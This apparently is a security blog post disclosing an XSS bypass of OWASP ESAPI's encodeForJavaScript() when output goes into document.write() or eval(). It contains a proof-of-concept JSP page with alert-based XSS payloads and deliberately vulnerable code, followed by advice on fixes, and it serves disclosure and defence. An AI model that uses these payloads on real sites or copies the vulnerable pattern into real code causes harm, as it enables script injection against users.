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Everyone knows the invaluable XSS cheat sheet maintained by "RSnake". It is all about breaking things and features all the scenarios that can result in XSS. To complement his efforts, there is an excellent XSS prevention cheat sheet created by "Jeff Williams" (Founder and CEO, Aspect Security). As far as I have seen, this wiki page provides the most comprehensive information on protecting yourself from XSS on the internet. It advises using the OWASP ESAPI api to mitigate any XSS arising from untrusted user input.

I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.

I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets – HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of

these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.

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If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions.

Here is the proof of concept jsp code:

```
<%@page import="org.owasp.esapi.*"%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  "http://www.w3.org/TR/html4/loose.dtd">

<html>
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>ESAPI XSS Protection Bypass</title>
   </head>
   <body>
      <h1>ESAPI XSS Protection Bypass</h1>
      <p id="tb1"/><br>
      <p id="tb2"/>
      <script>
         //in real scenario, these three strings come from request.getParameter or user input
         <%
            String vulstr1 = "-1';alert(0);";
            String vulstr2 = "<img src=x onerror=alert(1)>";
            String vulstr3 = "0,x setter=alert,x=2";
         %>

         // you can safely use it in places like this
         // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
         var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';
         alert(a);

         // However, you can bypass protection in places like these
         // Ex. vulstr2 gets written to html and alert(1) executes
         document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
         // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
         eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
      </script>
   </body>
</html>
```

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at WhiteHat and these do exist in the wild.

Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure.

But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.

If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write("<script>alert('XSS')</script>"), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won't be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.

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Tags: esapi, Javascript, owasp, XSS, xss prevention cheatsheet

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